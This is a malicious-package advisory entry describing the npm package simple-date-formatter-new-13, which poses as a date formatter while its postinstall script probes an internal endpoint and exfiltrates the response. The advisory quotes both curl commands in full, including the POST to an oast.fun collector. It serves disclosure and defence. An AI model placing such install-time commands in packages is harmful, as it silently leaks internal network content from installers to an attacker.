MAL-2026-17159
Dashboard / Malicious Package / MAL-2026-17159
MAL-2026-17159
Summary: Malicious code in simple-date-formatter-new-13 (npm)
Details: Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54) [email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.
Affected packages
Package
Name: simple-date-formatter-new-13
Purl: pkg:npm/simple-date-formatter-new-13
Affected ranges
Type: N/A
Events:
